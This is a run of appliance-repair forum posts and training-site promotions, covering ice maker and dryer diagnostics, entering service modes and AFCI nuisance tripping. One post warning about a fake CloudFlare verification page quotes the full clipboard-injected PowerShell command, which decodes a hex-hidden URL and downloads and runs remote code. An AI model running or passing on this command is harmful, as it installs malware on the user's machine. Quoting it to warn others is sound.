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A tech here in the Appliantology forums ran into a problem he wasn't sure how to troubleshoot at first: the twist-tray ice maker on a Whirlpool refrigerator would enter harvest, but once the tray reached the "fully twisted" position, the motor would keep on running, making a clicking noise. Here's the ice maker we're talking about: Note, as our tech did, that there's an "internal feedback switch" on the DC motor. That seems like it could be important here. This is where that switch is located in the ice maker's circuit: So that switch simply gives data to the board about the position of the ice maker motor, depending on if it's open or closed. Our tech ran the diagnostic tests for the ice maker and took some measurements across the switch to see how it reacted. You could take these measurements either at P7-3 to P7-4 at the control board, or right at the ice maker, depending on what's more convenient. In test 45, which moves the ice maker motor to the home position, the switch closed once it reached the home position was reached. However, in test 44, which performs a test harvest, the ice maker did its usual behavior of twisting and clicking, and that feedback switch stayed open. From the info on the tech sheet, our tech wasn't completely sure if this is normal behavior for the switch or not. Fortunately, another helpful tech linked him to the service bulletin (found right here on Appliantology), which contained the specs we needed about how that switch behaves: We can see from this that the feedback switch is supposed to close once the tray is fully twisted. Since our tech found the switch stayed open, we know that there is an internal failure in the ice maker. Something is preventing the switch from closing in the fully twisted state, which prevents the control from being able to tell if a harvest has been successful. That's why it just keeps trying to twist the ice maker tray. A new ice maker, and the problem was solved! Another successful troubleshoot thanks to the helpful techs at Appliantology and our extensive repository of technical documents. Want to get in on the action? Join the Brotherhood of Techs at Appliantology. Appliantology.org is a cultivated, private community of techs. Get solid tech advice from working, professional techs and business owners. Avoid the endless noise and guesswork thrown at you from groups on social media. Download the service manuals, tech sheets, and service bulletins you need to git 'er done. Join the Brethren in the Craft right now with our membership options at Appliantology and see how it can help you in your business starting today.

@Denver Todd I did a search for the website to see it for myself. As long as you don't press the <ENTER> key after you do the CTRL+V it won't run the Power Shell command that is forced into your clipboard. I'm not sure what the Power Shell command will do but I'm sure it's NOT good. Here's what is pasted into the command line if you press <ENTER> in the command line prompt and runs. powershell -w h -c "$h293='68747470733a2f2f636c6f7564666c6172652e6e6f772f72796d6a676e6d6e6f6f6d70646e70706c62';$d31c='';for($i=0;$i -lt $h293.Length;$i+=2){$d31c+=[char][convert]::ToInt16($h293.Substring($i,2),16)};iex(irm $d31c)" After you do that and press <VERIFY> on the virus infected popup for the CloudFlare verify box which isn't really part of CloudFlare it will install something bad on your computer and run it. It very well and most likely could do the damage as soon as you press the <ENTER> in the command line prompt box without even pressing the <VERIFY> botton on the popup.

That does appear as to be the case. Pressing the Windows+R key brings up the run a command line prompt, Ctrl+V does a paste of whatever is in your clip board as the command. Since I didn't go to the website, (I don't see a website in the above) - I suspect it injects a command line into your clipboard and if you hit the enter it will run the command line, (most likely a command that will compromise your computer). @Denver Todd Did you by any chance do just the Windows+R and the Ctrl+V to see what it paste into the command line to run - As long as you don't press enter it won't run anything.

Tried a number of Google suggestions but did not work. I probably did not perform the steps correctly

Text “parts” to 36534 enter your model number with letters in capital and they will send you a link to a document that will give you the exact personality code Just to make sure, you cleaned the filter right?

There are all kinds of reasons to become an appliance repair tech. The trade is profitable, in high demand, offers a good work-life balance, satisfying, practical, and all manner of other flattering adjectives. On top of all that, as I mentioned in a previous post, appliance repair is a future-proof skill -- new developments like AI don't pose a threat to a tech's career. If you're a technically minded person who enjoys problem solving, you'll do very well in appliance repair -- this makes it a great option for people leaving other skilled fields and looking for a new career. Why Become an Appliance Repair Tech? Let's go through some of those reasons I listed on why appliance repair is a good trade to get into. Profitable: In 2025, the average salary for appliance repair techs employed by a company was $64,643, with opportunities to quickly progress and earn up to $78,666. If you're self employed and committed, that number can get much higher -- we know of many seasoned techs who make above $100,000 a year. You just have to be willing to take on the risks and extra work that comes with operating your own business. In high demand: There is always a market for appliance repair, basically no matter where you live. Everyone has appliances, and they're always breaking. In fact, many areas of the United States have a shortage of appliance repair techs, and many more have a shortage of competent appliance techs. Offers a good work-life balance: If you work for an appliance repair company, you are often able to negotiate your work schedule to suit your lifestyle. And if you start your own company, then you of course have complete freedom to determine your own hours! Either way, when you're out on a service call, you're your own person -- no boss breathing down your neck, just you and the problem to be solved. Satisfying: Appliance repair is engaging work, and often, quite fun! Every service call is a new problem to solve in a new location with a new customers to interact with. Each day will have you stretching your brain with technical puzzles and meeting people. And more than that, the satisfaction that you get from the knowledge that your work is directly solving people's problems is unmatched in many other industries. Each completed service call is a person whose life you have tangibly improved. Practical: No paper pushing or mind-numbing desk work here! You'll be getting your hands on machinery, working with electricity, and honing technical skills that apply to the real world. Many of these skills are highly applicable to other fields, so even if you don't ultimately stay in appliance repair, you will have developed skills that are useful no matter where you are in life. That all sounds great, if I do say so myself! Now let's take a look at how you enter the appliance repair trade. What are the Requirements to Become an Appliance Tech? There are only a few things you need to have to start your journey as an appliance tech. First and foremost, you need to enjoy problem solving, since that's what appliance repair is all about. You should have some basic mechanical skills. If you know which end of a screwdriver to hold and can follow a YouTube video showing how to take something apart, then you've got what it takes to get into the trade. You need to be comfortable with or ideally enjoy interacting with people. Managing customers is a key non-technical side of appliance repair that can't be taken for granted. Finally, you need to be willing to learn, and never stop learning. The moment you think you know it all is the moment you start falling behind in a skilled trade like appliance repair. That's it! If those qualities sound like you, then you'll make a killing as an appliance tech and have a great time doing it. How Do I Become an Appliance Repair Tech? Here's the real meat of it: you have the aptitude and the desire, but how do you actually get there? Well, lucky for you, appliance repair training is neither expensive, time-consuming, nor especially difficult when you enroll in our premier online appliance repair training at Master Samurai Tech. Here's how it works. Step 1: Enroll in training To get started in the trade, enroll in our Core Appliance Repair Training course. This is our flagship appliance repair course that will teach you everything you need to know to get started in the trade for just $850. For additional depth and breadth of training, you can enroll in our entire program of courses for $2,145. So what do you get from these courses? We are recognized throughout the appliance repair industry as the most comprehensive and in-depth appliance repair training available. In just our Core course, you'll learn: How all major household appliances work How their various underlying technologies work How electricity works How to read a schematic How to form a troubleshooting plan that will correctly identify the issue every time All of our training is online and self-paced. That means you don't have to take on the extra expenses of traveling and spending weeks in an in-person training facility. You can instead fit the training in around your existing work schedule, whether that's your current job or the hands-on practice that you're doing. Speaking of which... Step 2: Hands-on Practice When you hear people talk about a trade like appliance repair, they usually focus on how it's a manual skill. But this fundamentally misses the point: appliance repair is first and foremost a brains-on skill. Your brain tells your hands what to do! This means that hands-on practice is important, but it's not training. Training is what goes on between your ears, and that's what you'll be getting from Master Samurai Tech. To start applying what you're learning from the online courses, you just need to get your hands on appliances. If you're working for an existing appliance repair company, this means riding along with experienced techs to apply your training on the job. If you're starting your own company, this means getting a little more creative: you can work on friends' or family's appliances, fix up used appliances from Craigslist, or just tinker with your own machines. Step 3: Graduation and beyond... If you have trained with us at Master Samurai Tech, you get a huge leg up in the trade in several ways: Certification: In most States, appliance repair requires very little or no licensing to get started. This makes it easy to get into the trade, but it also means that you can benefit greatly from a badge of achievement that sets you above the competition. This is where the we can help. If you apply yourself to your learning and meet the certification requirements for our Master Samurai Tech courses, you will receive a Certificate of Achievement and have the right to call yourself an MST Certified Tech. Our certification is recognized throughout the industry as putting you in the upper echelon of skilled technicians. Ongoing technical training and support: Enrollment and certification in MST training also gives you free access to this site, Appliantology, which is the web's best tech support tool. To name just a few benefits of Appliantology, you'll get access to the an expert, professional-only tech help community with the Internet's sharpest techs, service manual downloads for every major brand available in the United States, and hundreds of hours of ongoing training videos that will keep you abreast of the latest technology in the trade. So what are you waiting for? Enroll in the Core Appliance Repair Training course today and enter a bright future as an appliance repair technician.

Good morning, I've been troubleshooting my oven for a couple days now. I don't know if this is a contributor, but last week I used the microwave convection feature of this unit for likely the first time. At about the same time the errors reported began. I can run the microwave without causing the alarm, but any oven programs will trigger it. additionally, I always get the F8E0 error and I have only noticed the F8E2 once. when the errors began they were accompanied by a noticable, but not incredible electronics smell, more ozone than burning. This smell can easily be followed to the transformer component of the cooling fan. I followed the wiring for the fan and sensor back to the main board which appears and smells normal. no detectable component or connector damage. I replaced the cooling fan W10273667 with another of the same part, locally sourced refurbished. not the superseding part. the alerts and smell persist as before. I can enter diagnostics mode and enable and disable the fan on demand. I haven't had my IR thermometer handy, but i did poke the transformer with my instant read kitchen thermometer and it quickly got to 150F. I don't think that reading is accurate, but i do think that it indicates the fan is getting too much current. It has been suggested that there is another cooling fan on the unit, but it is not immediately obvious like the one i'm working on is. I haven't removed the shroud around the microwave, but I don't see any indicators of another fan there. If there is another failed fan i haven't seen, could that cause higher current to the working fan on the circuit because the other load is missing? I'm looking for some more clarity before i start throwing money at the main and UI boards. Thanks a lot, I hope I provided decent info.

Once in test mode, you can select the tests to run using this procedure: Selecting WTMC / WTXD Dryer Tests Test Position on knob WTMC33/WTXD53 WTMC63/65, WTXD83/85 View fault codes 1st position on right (cw) Extra Dry (Reg./Cot.) Extra Dry (Reg./Cot.) Safety test2nd position on right (cw) Very Dry (Reg./Cot.) Very Dry (Reg./Cot.) Display test (LED's/LCD's) 3rd position on right (cw) Regular Dry (Reg./Cot.) Regular Dry (Reg./Cot.) Control elements test 4th position on right (cw) Damp Dry (Reg./Cot.) Damp Dry (Reg./Cot.) Consumer test 5th position on right (cw) Air Fluff Very Dry (Mix) Moisture sensor resistance measurement 6th position on right (cw) 20 min. Time Dry Regular Dry (Mix) Sales demo program 7th position on right (cw) 40 min. Time Dry Air Fluff 240V:208V changeover 8th position on right (cw) 60 min. Time Dry Medium Time Dry Automatic end-of-tape program 1st position on left (ccw) Very Dry (Perm. Press) Very Dry (Perm. Press) Source: Bosch dryer wtmc3300us/01 lint filter light

Enter fault mode by doing the following: open door. For models with 1 or 2 button pads, press and hold the start pad with the door closed, then open door for 3 seconds and close to enter fault mode. For models with 3 or more button pads, press and hold the furthest most pad on the left and the start pad simultaneously for 5 seconds. LED’s solid: control is interpreting door as closed. LED’s off: control is interpreting door as open

T'shooting a CDT805P2N2S1 model. Can someone post steps necessary to enter diagnostic mode for GE Café dishwashers? I find the steps for every other GE dishwasher series EXCEPT their Café line.

To enter diagnostic mode on your GE Washer GCVH6400J1WW, keep the door closed and simultaneously press and hold the Power and Start buttons. Holding the buttons in place, rotate the cycle selector knob 180° clockwise. The lights will flash and the washer will be in diagnostic mode and ready for display of error codes or testing.

Samsung RF 4287 HARS freezer is on the blink. Cannot get it below 60 degrees. Switched out the freezer ceiling sensor as well as the evaporator defrost sensor, NO Change. The icemaker is cool but not producing ice. Also not sufficiently cold for freezing. I think the ice maker and the freezer are connected someway but not positive. Forced mode (FF1) overnight also no change, Refrigerator and middle deli drawer has no problems. Diagnostic mode shows NO faults. This model has NO Diverter valve in the compressor compartment and I don't know if it is accessible. Have NOT checked the Fresh Food Refrigerator compartment evaporator as I am under the impression it is not associated with the freezer problem and it is providing proper temps. Two fans in freezer working as I can feel cool air being blown out. Hoping someone can provide info. Saw HAPPYDAD post over 6 years old with same symptoms but his post ended with no solution. At a loss and about to call a tech in but at $100 just to enter the house, I don't know if its worth it if it is unrepairable.

The most basic circuit safety device that everyone is familiar with is the circuit breaker. All a breaker has to do is detect if the amperage in its circuit exceeds a certain threshold and open the circuit if it does. Simple and effective, but not every electrical hazard involves excessive current. In fact, having less current than you should can also indicate a serious safety issue. Enter the GFCI and the AFCI. You might already be familiar with GFCIs (Ground Fault Circuit Interruptors) -- in fact, it's very possible that you have a couple devices plugged into one right now. A GFCI is a relatively simple device that can be installed in a standard electrical outlet. It's intended to immediately open a circuit if it detects any current leaking to ground. The GFCI does this by measuring the amount of current moving through line and comparing it to the amount of current moving through neutral. If there's any significant imbalance, then the missing current must be leaking into ground -- that's what's called a ground fault. The GFCI detects this and opens the circuit, preventing any potential electrocution or house fires. AFCIs (Arc Fault Circuit Interruptors) are a little more complex. These electronic devices aren't concerned with the amount of current, but rather with its wave pattern. An arc fault is when current flows through an unexpected path -- such as between conductors that are not properly insulated from each other. When this happens, you may not have any missing current flowing to ground, which is all a GFCI can look for. And you certainly wouldn't have the high-current situation that a circuit breaker is designed for. In fact, the usually high resistance of an arc will significantly lower the circuit's current. And yet arc faults still pose a significant fire hazard, since an unaddressed arc fault quickly heats up and leads to a fire. Enter the AFCI. These devices are programmed to recognize the kinds of electrical wave patterns that indicate an arc fault. This turns out to be rather complicated, since there is some amount of arcing that is acceptable. Every time a switch actuates on an appliance's relay board, for example, there is a small amount of arcing. So the AFCI needs to distinguish between safe and dangerous arcs. They do this by having a catalogue of acceptable waveforms programmed into their memory chips. Thousands and thousands of wave patterns that it needs to be able to recognize and allow. On the whole, AFCIs do their job very well. But they're not perfect, and sometimes a particular appliance comes along with a wave pattern that is perfectly safe, but not permitted by the AFCIs database. This is when you can get nuisance tripping. When you encounter an appliance that is tripping an AFCI, your first job is of course to determine that it is, in fact, just a nuisance trip. If you do, what then? There are a few things you can do. First, you can simply plug the appliance into a non-AFCI outlet. Not ideal, but sometimes necessary. Refrigerators especially can have a hard time when plugged into either an AFCI or a GFCI. For example, as they age, their compressor windings can sometimes develop very slight leaks to ground. Not enough to impair function, but enough to make a GFCI trip. And the last thing any customer wants is to open up their perfectly healthy refrigerator only to find that it hasn't been running all night because of a nuisance trip. The other option is to plug the appliance into a plug-in surge suppressor. Why would this help? Remember that AFCIs are on the lookout for jagged, arky-sparky waveforms. A surge suppressor just so happens to smooth out jagged waves like that. That's part of its job. So if you have a customer with a normally functioning appliance that keeps tripping an AFCI, try plugging in a surge suppressor (it should be plugged into one anyway, so you're doing a service either way). If you want to learn more detail about GFCIs and AFCIs, check out this awesome webinar recording, available only to our premium members. Click here to become a premium member today.

This is for the GE refrigerators that have the muthaboard in back and at least 5 pads on the touch control panel. Source: Freezer check underway for ice build-up -- defrost heater, thermostat

HELP, Whirlpool Dryer GEW9250PW1, How to enter Diagnostics. After pressing:: More Time, Less Time, MoreTime, Less Time:: quickly I see - - in the "Estimated Time Remaining" window. What does it mean? Where can I go to get a list of all the codes? Thx...

One of the best things we can do to sharpen our skills as techs is to learn from other techs' experiences. There are a number of ways to do that, but the way that's both most convenient and lets you learn from the greatest variety of techs is searching the tech help forums here at Appliantology. Appliantology has been on the web for 20 years now, and over that time the site has amassed a library of technical knowledge that is unmatched anywhere else. As a member of Appliantology, all of that knowledge is searchable and at your fingertips right now. If you're dealing with a weird problem on a service call, odds are very good that a tech in the past two decades has dealt with exactly that issue -- probably many techs! Want to learn from them and step up your own game? Here's how you search the Appliantology forums to answer your burning technical questions. How to Find Answers Let's say you're dealing with a GE refrigerator that's not making ice or dispensing water. First, you would come up with a problem statement that's a concise, searchable phrase. How about "GE refrigerator no water." Next, you pull up any page at Appliantology and plug that phrase into the search bar in the top right corner of the site. By the way, these screenshots are taken from the desktop version of the site. If you're on mobile, things will look just slightly different, but everything will work the same. This isn't a dumb search bar, nor is it some finicky algorithm-driven search that tries to decide for you what you want to see. Instead, you have complete and granular control of what exactly you want to search for and where. For example, since we're looking specifically for other techs' experiences in the forums, we don't want to search just everywhere in the site. We want to search the Appliance Repair Tech Help forum, which is our tech-only forum where we workshop problems. To search just that forum, you'll want to first click into the Tech Help forum from the homepage of the site... Once you're there, go back up to that search bar and select This Forum in the dropdown box. Now you will only pull up results in the Tech Help forum. Now all we have to do is hit Enter and see what we've got... Whew, lotsa stuff! You can see in the results above that we've got 273 relevant topics. Fortunately, each one has a little preview of its content that highlights the terms relevant to your search, so we can figure out which ones look the most useful quickly. And if we want to narrow things down further or refine our search, we can click the more search options button circled below: Which will show us a lot of useful search parameters to play with if we need it. Back to our search results. Since we're looking for a solution here, we can look specifically for the results that have a green check mark on them, as circled below. That means that the original poster of that topic found a solution to the issue. Let's check out that topic and see what the solution turned out to be. Navigating a Forum Topic Now that we're in the topic itself, we can just start reading to see how the repair went. However, if you're interested in skipping to the solution, you can click that green "Go to solution" button to jump right to the reply marked as the answer. That takes us to this topic, which the original poster marked as the solution: And you can read the final word from the original poster in the last post just a few replies down. In just a few minutes, we've learned how the repair went for someone in a similar situation to ours. Now we can synthesize that, factor it into our game plan for the issue we're dealing with, and maybe look through some of those other topics that came up in our search to get more input. Master Samurai Tech & Appliantology: The Perfect One-Two Punch to becoming an Ace Tech Effectively learning a skilled trade is always a combination of brains-on training and hands-on practice. Whether plumber, electrician, or appliance tech, the magic for training has always been a combination of brains-on training ("book learning") and then hands-on practice where you apply what you've been learning in class in your apprenticeship. Even if you are not part of a formal apprenticeship, there are plenty of opportunities to get this practice - click here for ideas. Our courses at Master Samurai Tech were designed with this classic and time-tested training model in mind. We bring the brains-on training in our courses. But we don't stop there! We also help you with the hands-on practice portion of your training through the support here at Appliantology. Whether looking for service manuals and techs sheets, getting troubleshooting help from experienced techs in the repair forums, or continuing training, Appliantology is your online tech support and information tool. This is exactly why every new student at Master Samurai Tech gets a free initial Appliantology membership, followed by free or discounted membership for life. That's hundreds of dollars in savings for every enrollee. We're here for our students all the way, even after they've finished the coursework. At Appliantology, you can tap into the knowledge of all the techs that have come before you to become the super tech you're meant to be. Want to take advantage of the powerful one-two punch that is Master Samurai Tech and Appliantology? Click here to enroll in our Core Appliance Repair Training course today, and join Appliantology the same day to start learning from the best in the trade. Check out all the Appliantology tech membership options here.

Hello, and thanks in advance for any help. I'm pretty certain I need to replace the igniter in my GE model #PGS920SEF1SS. The part itself was easy to access and detach from the burner tube, after removing the oven floor plate. But...the wires enter a hole in the back panel and disappear between pieces of soft insulation. How do I get to this to detach the wires? I'm hoping not to have to pull the oven out and go through the back (which seems unlikely when the unit is accessed from inside the oven). Removing internal layers seems much more complicated at this point. Thanks, Mike in Ithaca, NY

download the signal app then ask Mrs Samurai how to get added or on MST there's info... BTW I see this myself and reading other MST who are newer... Try to get used to taking voltage and amp readings right away... Ohms only for little things like thermostats and wire continuity even that is better with voltage... On switches you need live voltage.... My meter does AC and DC amps which I think is helpful... most don't worry but I like it only used it 3-4x though. Last thing buy piercing meter attachments a lot of washers and refrigerators have really tiny wires and the harness does not allow back-probing so you need to pierce the wires. I bought liquid electric tape black gooey stuff I use a tiny screwdriver to apply after I pierce so no chance any water can enter. Rhubarb Tau has a video posted in the Blog section on how to use them. Also buy small thin needle probe attachments... Once you do your own dryer do the washer and then look at the refrigerator... etc..I wish I would have done that.

Video covers: - Entering diagnostic mode - Deciphering error codes - Checking the control board Whirlpool Vertical Modular Washer (VMW): Tech Sheet, Diagnostic Mode, Fault Codes, and Mode Shifter

Kitchen Aid dishwasher model KUDE40FXSP4 does NOT fill with water. I tested the existing water valve by supplying 120V AC directly to it from an external source of electricity. The water valve works perfectly when supplied with the expected voltage - water from a hosed connection flows freely and at a very high rate. I re-installed the water valve and conducted a multimeter test of the VAC delivered from the control board to the water value during a wash cycle. It delivers ~2.7VAC and NO water flows into the dishwasher unit. The water value is rated for 120 VAC so I replaced the control board. I installed it and there is still only 2.7V AC getting from the control board to the water valve. Water does not enter the dishwasher at all during a cycle. There is no blockage in the tubes, and the copper water pipe delivers water at a very high rate as expected when not connected to anything. A continuity test of the wire connector between the control board and the water valve is successful. Thought on what else might be the root cause?

A few days ago I noticed my GE Refrigerator PFE28KMKES would not autofill anymore. It kept giving me errors no matter what container I used. I thought perhaps I messed up the sensor somehow. I started reading on finding error codes and finally figured out that I had to put the light on before I could enter the service menu. I tried to run command 00 16 to reset all the boards and it did not work. I ran command 00 00 and it gave me back 3 series of numbers: 50 9d followed by 00 10 followed by 00 1o Here is a video of the codes although I believe I've listed them properly. I then ended by running command 00 16 again to exit. If you have any ideas on what I should do next I'd really appreciate any insight you have to offer. Thank you in advance

This photo is of most of the parts for the waterwall spray assembly. This is a close up showing that a leaking seal allowed water to fall on and enter the motor that drives the waterwall vane. The inside of the motor had been badly corroded. This is what happens if you grab the nozzle assemblies to try to separate the two parts held together by a tab in the back. The top half with the distributor, the bottom half with the distributor motor and vane motor. This photo shows the tab in the back. It can be very stubborn so releasing it takes some care since it is plastic. Not sure how important preserving that tab is because the two parts are held together with four screws at the points shown by the red circles. This photo shows the locking tab that is in the service manual to release the distributor motor/microswitch assembly. What is not mentioned in the manual is that there is a second locking tab at the bottom of white plastic part that holds the distributor motor and microswitch that also has to be released.

Same issue here on a GE Monogram ZISB480 DMC. Tried to enter Diagnostic Mode and now the control is locked. Temperature LEDS are solid, though indicating wrong temperatures when checked with a thermometer. Pushing ANY of the display keypads sounds 3 beeps. Unplugging does nothing. Has anyone figured this one out yet? Thank you.

Knowing this was a Samsung built model I'd be tempted to say you need to replace the ice maker, but that particular ice maker was actually quite reliable. All of those symptoms put together sound like a bit of water is getting through the water valve when it's supposed to be closed. A slow drip could cause the ice buildup in the bucket, slowly freeze up the water line causing reduced ice production (has the cube size also reduced?), and eventually freeze up completely halting production. Not a guarantee, but worth a look. If you look at the back of the fridge where the water lines enter at the top right of the fridge, the one for the ice maker should have a plastic ring you can press in on firmly so you can pull the water line out to see if it's frozen (assuming based on common Samsung models, I haven't worked on this specific fridge lately and can't recall if it's the same)

Having trouble with a Ge laundry center. Awhile ago it would run, but leak at bottom. Clearly a tub seal issue. Then, the motor clicked loudly before it started the spin cycle. Now, I am trying to enter service mode/diagnostics and cannot. When plugged in, the lid locked led is on/solid and the spin light is blinking. I have the instructions, but cannot get it to enter diagnostics. A blinking spin light means an out of balance condition. I thought it was the control board, so I replaced it. Still, the same thing. I cannot get it to enter service mode. I do not know what to do about this. Any help appreciated.